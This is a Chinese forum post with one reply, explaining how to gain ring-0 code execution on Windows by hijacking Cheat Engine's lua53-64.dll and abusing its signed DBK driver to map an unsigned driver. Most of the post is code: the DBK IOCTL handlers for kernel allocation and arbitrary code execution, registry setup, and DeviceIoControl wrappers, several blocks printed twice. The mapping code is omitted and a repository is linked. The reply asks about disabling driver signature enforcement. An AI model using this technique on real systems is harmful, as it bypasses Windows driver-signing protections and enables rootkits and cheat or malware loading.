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[原创]利用CE的DBK驱动获取R0权限
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发表于: 2023-7-7 22:38
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CE的DBK驱动提供了一些很直接的IOCTL接口，包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等，下面展示了DBK驱动通过IOCTL接口提供功能的部分源码；
这里提供了分配/释放非分页内存的功能：
这里提供了给定内核地址就能直接执行内核代码的功能：
之所以DBK驱动提供如此直白的接口但微软还能给签名，是因为DBK驱动做了一点基本的防护，在进程打开DBK驱动创建的设备对象时，它会通过进程文件对应的sig文件来校验进程文件的数字签名，如果校验失败，会打开设备对象失败，从而阻止其他进程使用DBK驱动提供的功能，这也就是为什么CE的安装目录下有sig文件；
我发现CE由于需要加载lua脚本，所以导入表里有lua53-64.dll，可以通过dll劫持让CE在启动之前就加载自己写的dll，dll里加载DBK驱动，并打开其创建的设备对象，之后内存加载自己写的未签名驱动并运行DriverEntry，虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。
1、加载DBK驱动
CreateService创建服务，但在OpenService打开服务之前需要写4个注册表项，不然DBK驱动会加载失败。
2、打开设备对象
打开设备对象后，需要将之前创建的4个注册表项删除掉。
3、利用DBK驱动提供的功能
下面是分配/释放内核中的非分页内存的代码：
下面是读写任意进程的内存地址的代码（包括R0地址）：
下面是执行内核地址的代码：
4、将未签名驱动映射到内核内存中并修复其RVA以及导入表，之后运行其DriverEntry
（具体代码太多了，就不展示了）
5、创建驱动项目
要注意的是，由于这个驱动运行的方式不正常，所以要将入口点改为DriverEntry，还要禁用GS防护，这样才能避免SecurityCookie引发的crash问题。
我在里面简单打印了点日志用于验证：
部署目录如下：
管理员权限启动richstuff-x86_64.exe，它会在运行前加载lua53-x64.dll，之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象，再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。
代码以及部署见：https://github.com/TechForBad/CECheater
case IOCTL_CE_ALLOCATEMEM_NONPAGED: {
struct input
{
ULONG Size;
} *inp;
PVOID address;
int size;
inp=Irp->AssociatedIrp.SystemBuffer;
size=inp->Size;
address=ExAllocatePool(NonPagedPool,size);
*(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
*(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
if (address==0)
ntStatus=STATUS_UNSUCCESSFUL;
else
{
DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);
DbgPrint("address=%p\n", address);
RtlZeroMemory(address, size);
ntStatus=STATUS_SUCCESS;
}
break;
}
case IOCTL_CE_FREE_NONPAGED: {
struct input
{
UINT64 Address;
} *inp;
inp = Irp->AssociatedIrp.SystemBuffer;
ExFreePool((PVOID)(UINT_PTR)inp->Address);
ntStatus = STATUS_SUCCESS;
break;
}
case IOCTL_CE_ALLOCATEMEM_NONPAGED: {
struct input
{
ULONG Size;
} *inp;
PVOID address;
int size;
inp=Irp->AssociatedIrp.SystemBuffer;
size=inp->Size;
address=ExAllocatePool(NonPagedPool,size);
*(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
*(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
if (address==0)
ntStatus=STATUS_UNSUCCESSFUL;
else
{
DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);
DbgPrint("address=%p\n", address);
RtlZeroMemory(address, size);
ntStatus=STATUS_SUCCESS;
}
break;
}
case IOCTL_CE_FREE_NONPAGED: {
struct input
{
UINT64 Address;
} *inp;
inp = Irp->AssociatedIrp.SystemBuffer;
ExFreePool((PVOID)(UINT_PTR)inp->Address);
ntStatus = STATUS_SUCCESS;
break;
}
case IOCTL_CE_EXECUTE_CODE: {
typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
PARAMETERLESSFUNCTION functiontocall;
struct input
{
UINT64 functionaddress; //function address to call
UINT64 parameters;
} *inp=Irp->AssociatedIrp.SystemBuffer;
DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
__try
{
ntStatus=functiontocall(inp->parameters);
DbgPrint("Still alive\n");
ntStatus=STATUS_SUCCESS;
}
__except(1)
{
DbgPrint("Exception occured\n");
ntStatus=STATUS_UNSUCCESSFUL;
}
break;
}
case IOCTL_CE_EXECUTE_CODE: {
typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
PARAMETERLESSFUNCTION functiontocall;
struct input
{
UINT64 functionaddress; //function address to call
UINT64 parameters;
} *inp=Irp->AssociatedIrp.SystemBuffer;
DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
__try
{
ntStatus=functiontocall(inp->parameters);
DbgPrint("Still alive\n");
ntStatus=STATUS_SUCCESS;
}
__except(1)
{
DbgPrint("Exception occured\n");
ntStatus=STATUS_UNSUCCESSFUL;
}
break;
}
// 写相关注册表
HKEY hKey;std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{ LOG("RegOpenKeyEx failed");
CloseServiceHandle(hService);
CloseServiceHandle(hMgr);
return false;
}std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
// 写相关注册表
HKEY hKey;std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{ LOG("RegOpenKeyEx failed");
CloseServiceHandle(hService);
CloseServiceHandle(hMgr);
return false;
}std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
UINT64 DBK_AllocNonPagedMem(ULONG size){#pragma pack(1) struct InputBuffer
{
ULONG size;
};
#pragma pack() InputBuffer inputBuffer;
inputBuffer.size = size;
UINT64 allocAddress = 0LL;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
return 0;
}
return allocAddress;
}bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{#pragma pack(1) struct InputBuffer
{
UINT64 address;
};
#pragma pack() InputBuffer inputBuffer;
inputBuffer.address = allocAddress;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
return false;
}
return true;
}UINT64 DBK_AllocNonPagedMem(ULONG size){#pragma pack(1) struct InputBuffer
{
ULONG size;
};
#pragma pack() InputBuffer inputBuffer;
inputBuffer.size = size;
UINT64 allocAddress = 0LL;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
return 0;
}
return allocAddress;
}bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{#pragma pack(1) struct InputBuffer
{
UINT64 address;
};
#pragma pack()[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
最后于 2023-8-5 17:10
被TechForBad编辑
，原因： 不再直接提供源码，而是转到github里提供
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能不能直接干掉DSE，正规驱动的漏洞利用为啥都是搞动态加载的
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